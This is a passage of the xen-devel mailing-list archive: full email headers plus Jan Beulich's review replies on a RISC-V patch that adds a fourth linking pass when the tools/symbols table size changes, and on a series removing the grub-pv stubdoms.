	id 1wh1J5-0003G8-NU; Tue, 07 Jul 2026 08:37:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356076.1610733; Tue, 07 Jul 2026 08:37:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1J5-0003G1-Kd; Tue, 07 Jul 2026 08:37:31 +0000
Received: by outflank-mailman (input) for mailman id 1356076;
 Tue, 07 Jul 2026 08:37:30 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wh1J4-0003Cr-CQ
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 08:37:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh1J2-00CqDE-Vf
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 10:37:28 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4cbab9-bab6-0a2a0a5309dd-0a2a4501cdb4-44
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:37:28 +0200
Received: from [209.85.221.45] (helo=mail-wr1-f45.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4cbac8-400f-0a2a45010019-d155dd2dd9a5-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:37:28 +0200
Received: by mail-wr1-f45.google.com with SMTP id
 ffacd0b85a97d-45fd464d51fso2000373f8f.3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 01:37:28 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa0960816sm30728346f8f.29.2026.07.07.01.37.27
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 01:37:27 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783413448; x=1784018248; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=r0FA7YGBTQf9PlPRxd4lq++npfL8jfIrohvmnplJ9js=;
        b=eCqWWtWkwMKXaSIJUbg/4ppiTwheX6qFufeP5pgnVIBUlHPrjLyobeqaPeF+VoN99E
         hLCYhCkqCikk8TpckL8v+3cPbISLUBDunSGrVpLgslD/Hd5V3fLVzogkw9DMEbM3gzQv
         YY9oxOyAFZ1hzqqRnghXX8wkubIOF+KhFATqirh1fNTQO5WxjnF4ImQb7nIfmCjUmgaQ
         0nme7K+mFdXNXuwU1vVvIyKD8FPegXGDgeQzZyPobS9Hw/5Zq3VZsP1wk5odjTRB9P7l
         Kkw1S/G2mZ/un5qEQcosqW2upRW7cLDkUvhVuPM/TePVk1WHHuLWZAO8PIzgrsNf3EhJ
         9iLQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783413448; x=1784018248;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=r0FA7YGBTQf9PlPRxd4lq++npfL8jfIrohvmnplJ9js=;
        b=n/xxhlMcMYOoQq7lcBolFcboTpW1jzto9pZvKUgZ32VbJc7Nz44NTTQ2dWpG2beAhX
         6ryM1fqftekYCXWzihI/Bd0FLpYhYzOmzUD9s+wSWaV+94g8Mpsjar+Fq8UMZKs8ij1y
         hYvamQ7Ya9I9LMOyHtjRPrmfupq+HrwjgMSLMLEdFMQjD2PUDr2hwNFA+A2AWCYQ6gsZ
         goVl6qgFBGKRuoqQuwc/Lil9lijIhS1Zi/8B1KSy3zFFDyvhpKmxhNmrxH4F2vslkTiJ
         GHOJ1U6w3BSnW4jFMq5xW1piULNVFI63Yq+YoXHr0PDhhZrEs1+bR5Hr+Bnv1ai/6VZz
         grPQ==
X-Forwarded-Encrypted: i=1; AHgh+RpnfZO4k4UdkA3doItNhy+otdSUTfBd8trEodOwTr6AqNttyvvFsaFRocXpRzdvxu140udo2OmDsm4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzI+dVTLg1gvaCJr1Ub6sjEdnR3B04PDMWoD1m64a83TFCXK4AH
	/8E0yh6M3PDg193nQgDjgikD00VF0HEaEUg9t/NZ36kHdLdGLY2GZAnde6ubskl5cA==
X-Gm-Gg: AfdE7cnZiS+lHPP+OaZRmQWepjiHPZosHwq7Y5fPNf/h+TRZmgcfm+bFAjwn2VUjG2j
	Zo6i6D3VsvzXvN97KctvXKERUeAq077hianlo44CNRbtBGZQASSBhXjciEjyYeIanbZfWKdwgYD
	Tzw/5A7S/Fe9wIlVJCEhDGd99F58bPrtzq9D2y0qDh233mA6mVIOBVkP/FnZZgO04Dmb18TaeCV
	1uC9aiqVXHu2bD5o2jUerJw1BSxoCpPqPz+LahZCkdZ4aP3nfXa7GxAt6ogb0Ycm24PyFr9kvqC
	FdUKSEqZyJKPIiQ2PXKWKmX5IfPNRTtEPhBTZkb/gqnaWJsHNR+1/e/kX9NfUw7+7sDRd77yh/0
	F2pTj8cmuMwzL01Q/286oNVJk5qyTdLs/r/GP1kgTDYBYmNdd4hJ+Dddb/b/Bj8OjYnFbNj87qR
	2IhraK79gVf/BqEPTpZUrPeZfnYYH+2y2ZoFxe+SSjKGD4EfvbW1cgZV01CT7FTKPKPcQcJn+4W
	48P
X-Received: by 2002:a5d:4e82:0:b0:471:c76f:332a with SMTP id ffacd0b85a97d-47de665040emr3136377f8f.3.1783413448347;
        Tue, 07 Jul 2026 01:37:28 -0700 (PDT)
Message-ID: <326e44ad-2014-43cd-bda8-e9c1faffe315@suse.com>
Date: Tue, 7 Jul 2026 10:37:26 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 26/26] xen/riscv: do a 4th linking pass if necessary
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <ba3b7e3197ae90c9f0e5190ba34de174b86090ac.1783331040.git.oleksii.kurochko@gmail.com>
 <3835ed9c-4c9a-49e4-90fd-37644262a942@suse.com>
 <66b5f31f-8ef6-4555-9c04-f5314512b598@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX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YTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <66b5f31f-8ef6-4555-9c04-f5314512b598@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1783413448-D16DE1E0-614FA668/0/0
X-purgate-type: clean
X-purgate-size: 2644

On 07.07.2026 10:19, Oleksii Kurochko wrote:
> On 7/6/26 6:13 PM, Jan Beulich wrote:
>> On 06.07.2026 17:58, Oleksii Kurochko wrote:
>>> Embedding the symbol table can shift sections and flip relaxation
>>> decisions, changing code size and thus the set of emitted symbols
>>> (e.g. gap end markers).
>>
>> What difference in symbols is there? (And: Do you mean the ELF symbol
>> table or what tools/symbols emits?) On ...
> 
> The ELF symbol tables of .xen-syms.0 and .xen-syms.1 are identical
> (same names, types, and count; only addresses past a certain point
> differ). The difference is in what tools/symbols emits: the
> address-only "end of symbol" entry produced when want_symbol_end()
> is true, i.e. when a sized text symbol's end doesn't reach the next
> symbol's address:
> 
>      static bool want_symbol_end(unsigned int idx)
>      {
>          return table[idx].size &&
>                 (idx + 1 == table_cnt ||
>                  table[idx].addr + table[idx].size < table[idx + 1].addr);
>      }
> 
> In pass 1 (generated from .xen-syms.0): simple_strtoull is at
> 0xffffffffc00c0444 with size 0x16c, ending at 0xffffffffc00c05b0,
> while turn_on_mmu (alignment-pinned) starts at 0xffffffffc00c05c0.
> 16-byte gap -> the end marker at ...c05b0 is emitted.
> 
> In pass 2 (generated from .xen-syms.1): simple_strtoull moved to
> 0xffffffffc00c0454 (same size), ending at exactly 0xffffffffc00c05c0
> == turn_on_mmu. No gap -> no end marker. Hence symbols_addresses
> shrinks by 8 and symbols_names by 1 (the marker's empty name).
> 
>>
>>>   Re-link with a regenerated table when its
>>> size differs from the previous pass.
>>>
>>> This mirrors commit 35de7285d508 ("Arm: do a 4th linking pass if
>>> necessary"), which riscv didn't receive when the underlying
>>> pass-2-vs-pass-3 check was extended to it in commit aa786d6e3467
>>> ("non-x86/symbols: check table sizes don't change between linking
>>> passes 2 and 3").
>>
>> ... Arm the problem was with a symbol (dis)appearing from/in the ELF
>> symbol table. The situation looks to be different here. Sadly ...
> 
> I will rephrase then this paragraph to:
> 
> This takes the same remedy as commit 35de7285d508 ("Arm: do a 4th
> linking pass if necessary"), though the underlying cause differs:
> here no symbol (dis)appears from the ELF symbol table; instead the
> set of end markers emitted by tools/symbols legitimately changes,
> because want_symbol_end() depends on code layout, and layout differs
> between passes due to linker relaxation.
> 
> Or it could be just dropped.

Please don't drop it.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 08:39:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 08:39:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356089.1610742 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1L5-00042j-3G; Tue, 07 Jul 2026 08:39:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356089.1610742; Tue, 07 Jul 2026 08:39:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1L5-00042c-04; Tue, 07 Jul 2026 08:39:35 +0000
Received: by outflank-mailman (input) for mailman id 1356089;
 Tue, 07 Jul 2026 08:39:33 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wh1L3-00042U-Jj
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 08:39:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh1L3-003r2V-0J
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 10:39:33 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4cbb3a-5cb7-0a2a0a5109dd-0a2a4509e5ae-32
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:39:32 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4cbb44-97e6-0a2a45090019-d1558035cd42-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:39:32 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-493c55d5c7aso37218985e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 01:39:32 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e0f294b3sm33370175e9.3.2026.07.07.01.39.31
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 01:39:32 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783413572; x=1784018372; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=ebJEHPpWkUq2HKLR8WguIFlefqpa9MHDn8M8BiymsU0=;
        b=bPwM/QNy6PEWJYZh3NKD0sWwTTk3pjcjxTAwwykWzDhXvqwGAa+D3fCUkbeJ0+BhwL
         7pFwuYwUfon5AyTQkNUdUI8j0Bkqtz4MDnRiTIO7GwjrnEhd4vMGmEQ8RqkTEOQlwuJI
         6900r5eeqxY0d1a+YD+H/LLNLGCR/9e8kwledUbt5Kocntec4aNj0xjSAQxLLWVPx/G9
         btxNCwYEnRIMSZ8fdueiRN1uCLenzIJu0rXl1Mosyez0EmUu3p5FlN4pJ5K+2Sr+0tX8
         FD+8R2EpYCOUol2UyrNsHPpN2NSyoNvDrp1eVpk/Uw5VpikKn0q5SyR4R5+y9xQnCFL9
         iXBw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783413572; x=1784018372;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=ebJEHPpWkUq2HKLR8WguIFlefqpa9MHDn8M8BiymsU0=;
        b=efSkwuwxU8lhe1iG5L2cTFwaHf5UipTb4anYY7fjcctgE8Qczb9JOs5VgOUooL5lS5
         gy56IsNAaxb5JraV7BdDj8oA5F7Y5QD4GyUzl96YDbiTa9OTkWhPVSMhY7SUOZF6b5oP
         C6SsdzKWZadOqZ1pygjgt0UfhcNPgxRr4ggJG+9BvWziaIEjDhX7E9xKi9fh9xQhyYFr
         BIA22r1HFP2p6/+R1MA/nCfjMSvnTMFIphWpBQOik56FdKp7dnfCxBnq0i+O38jwhz1Z
         B/TvpOm00VQQIQLU6by+tNIK5olP6jVIx8ATYbMz/175al3jSQPc6fkkVNaE5nafR3d7
         EsSw==
X-Forwarded-Encrypted: i=1; AHgh+Ro2thY4rb4+Rr57LZZBmqtQbTCht2eb1Ncjs6Bu7dQ0ryg+qqHqHlAimbzISJdHyFW578YiikNUC9U=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyqG25PF2XU01aYjAXDREp/+RLUQ1ubuQWWI9vOhWyLiAsDLgvA
	100zxgZecpEapRSKOJ2UBPSEpytQYo+ykrcoB00MnN/XlaDb4o4DENDRkIKNE8Y7tQ==
X-Gm-Gg: AfdE7cl5tAIL6c9QGxyyvkRFJ/bPvRF633ZgBVL4UKk1IemfI+H0r/4sQQBZrUJBcMX
	PrneSFSTze+AMcP4d+DMvi+C8h5mR+4sEkUmSApGiZ2ap6+CG9IYhDUlvtgKVHXmN9/QS21iAwp
	9T8SB/A19U3AqC2r4Kt2v/P7caXRMQJ2kdeWWMI16ys2fRBdmcGUXDPxyoXLajTkSmcRHY46BQR
	QcQuzAETzQp1eeNxYNPVwvssojm9lzzMXZRMX3ZS1Ov01r9TCTNSpd5JC6CpVjcgZq7W9YQcRfA
	Dtr3UdkU9N4y7nI1XFYa8vPjfExAlUvpqCFI80RzisXd4sbPmssY/5Fn6mRDpF7JUud5rMfaanJ
	UWACCYzAN4l2L1m/w9Mc+En5B7znrnNNFxsWI0OjP9A9O5JBHSlgRfKJdhaZX8YXAvYcw80HoM5
	2AjSLraf2rQ6JH4QOMegBV6tzWz4snpkcjvYTgfMKhbYrhi0sKeiZo/2F8QqU3+JWbdgS8y9TiB
	nTqKxT70GycLXI=
X-Received: by 2002:a05:600c:3f0b:b0:492:437a:a653 with SMTP id 5b1f17b1804b1-493e1ff0070mr17324415e9.26.1783413572371;
        Tue, 07 Jul 2026 01:39:32 -0700 (PDT)
Message-ID: <eac4528a-f9b3-476e-adea-63d317ef30fe@suse.com>
Date: Tue, 7 Jul 2026 10:39:31 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 0/5] stubdom: remove grub-pv
To: Juergen Gross <jgross@suse.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Samuel Thibault <samuel.thibault@ens-lyon.org>,
 xen-devel@lists.xenproject.org
References: <20260707083459.226297-1-jgross@suse.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo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eAWPgskBQL
In-Reply-To: <20260707083459.226297-1-jgross@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-bad1c0/1783413572-46D3C986-170597CF/0/0
X-purgate-type: clean
X-purgate-size: 763

On 07.07.2026 10:34, Juergen Gross wrote:
> The grub-pv stubdoms (32- and 64-bit) are disabled by default since
> several years now.
> 
> Remove them in order to enable removing quite some more code from Xen.
> In case someone is really depending on grub-pv, they can easily take it
> from an older Xen build, as there is no Xen version dependency in
> grub-pv (a version built 3 years ago has been tested to still work
> with current 4.23 staging Xen).

What guarantees this to remain this way, when ...

> Juergen Gross (5):
>   stubdom: remove support for grub-pv
>   stubdom: remove support for building in 32-bit mode
>   stubdom: remove building of libxenguest and libxenctrl

... there was this dependency on (unstable) libraries?

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 08:42:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 08:42:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356098.1610751 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1O6-0005XZ-FP; Tue, 07 Jul 2026 08:42:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356098.1610751; Tue, 07 Jul 2026 08:42:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1O6-0005XS-Bw; Tue, 07 Jul 2026 08:42:42 +0000
Received: by outflank-mailman (input) for mailman id 1356098;
 Tue, 07 Jul 2026 08:42:41 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wh1O5-0005XM-KJ
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 08:42:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh1O5-00CWdJ-0o
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 10:42:41 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4cbbf3-2eae-0a2a0a5409dd-0a2a4501d21a-38
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:42:40 +0200
Received: from [209.85.221.51] (helo=mail-wr1-f51.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4cbc00-400f-0a2a45010019-d155dd33c969-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:42:40 +0200
Received: by mail-wr1-f51.google.com with SMTP id
 ffacd0b85a97d-4703bc0a99aso2140433f8f.3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 01:42:40 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa039b0cesm32351928f8f.22.2026.07.07.01.42.39
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 01:42:40 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783413760; x=1784018560; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=33srYHAgtAZ5OP9oP4Ikaa1rXcLuMVWWuKsdD9qT87g=;
        b=ShKOYCrrECO36jAOtiuJVg6MqTpJmf75WW6e4oXJuzWIsCfdRFRiCKuXYabO9oiZfR
         mIz5wSDIUF/EbWYbUt6S1CORjzLKglY+hQqGyCd6dmzdP8s1l6Wq6fjTFxzi8LWElNkw
         wNWMsdy2CWWGG87eYV6Kqm+RQ3PpdPUYquHC8RTeW9I5Zp7LW35moDZ/cAzdXQXa+xlm
         Vk2aWmvib+gUmmyUFJlW5MqFm/kRt216vtCLpvu2T3B0/Gy8TlEMgVJlFyKu2bjPFC3m
         i7+XWkdqCYajStl6glBC5fUmP2/zchKANJ0ycDAg8VSItXX3Yfp8++jY1mRO68GnXabL
         aCng==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783413760; x=1784018560;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=33srYHAgtAZ5OP9oP4Ikaa1rXcLuMVWWuKsdD9qT87g=;
        b=ce651kGlV1h07u4HAiq6+5fbSia2I1wnraQyDYiPQ2JZHPKSdrqCnD2rq3DkDvWpW2
         W2Va+yJL6SrPhmRZeJpGjv7Fsz5946TCGftLb7YOZt3HR9PGgR3D7vILAx+szNvgexeu
         1yMbnvRgitqyBYnJPgP/gQ3sXz8kvsHOpBDNJ0hhJ74zyvoKqO8vaX355JY7CSeZjSBi
         mLGJw0+zxN/OFxL3bVPjr2uAdcvMkOjSOoD8WqIX6PEcq7tkQfKHaG/9DMdqE6ARFgWQ
         9o1CyWZTBJe3rQptJOcQr/2D7eipI6r1tNwL5d8kJ/rtutD3CUEx9VcezTYlYFwlWQF2
         NWfQ==
X-Forwarded-Encrypted: i=1; AHgh+RpT97OX/jSHCG/kNTcuwEaHjROdRC+UW0KJOprJKFYxBrrvU8X93oNGDMoCv4ejzX4MVFguO9ppnZY=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxYlbo4NQv4Fy5MfecimzfNla9tabmghffhLbnhHSJ331TqbNDq
	kSDOVuQ/7PZJHRxo8hAfZUZGRfFFQxrqYOhTg2YXPRSQNBskdqaWe42BYR/rYBTAxg==
X-Gm-Gg: AfdE7cmlTSh24pOovoLUPdDAzLRdRVw7SYXMs4ptLhDRp6ePvb6VkDQGuMzrMKapTIj
	Vb/lccwl3hw8Tq+tDIJQoD6V6ZTjCgsDOXsf81qmRtn0/HiozYohVq7IZq0ZIDgXe0nEN6fXqg3
	g/J67XdWOAO9Iinjw5d7rzqTEqdBHEV8kpr3fD8PkI8CtdA5zppMwhgHqztovhh3M5w2gMa9e7X
	7DaNnkOxEkwcV0I8Furhwt0wby/2GL6mSby/vyY4IRt4tThM55gD8m6eODUm0L7ezj0zTrPI2t+
	2J+1SXyyP3r2gGa0d1QiR/ng9oTiZEW1xm5S1tEJyNWc20KKDcgtrVVZqVTZi2NfOi8bFBXsvrL
	IiZydEARcbiJYWsASGMvILImLZ0hxbewC0ZQxejVjwZvttAshAUoPKOLViUMYGPsJ3NvVsgP3Lf
	QdHwEuf8RhJ7RX4RiPJnqfqFMVMeiV7MWukywiACRgZihsgqwVEK70QqKvNkKSenixYZpSZ3D/0
	kj7
X-Received: by 2002:adf:e5cb:0:b0:475:f0f0:9efb with SMTP id ffacd0b85a97d-47de66cb332mr3518798f8f.50.1783413760271;
        Tue, 07 Jul 2026 01:42:40 -0700 (PDT)
Message-ID: <d3acd616-6ef8-4cb3-a1c0-b8955e0dc958@suse.com>
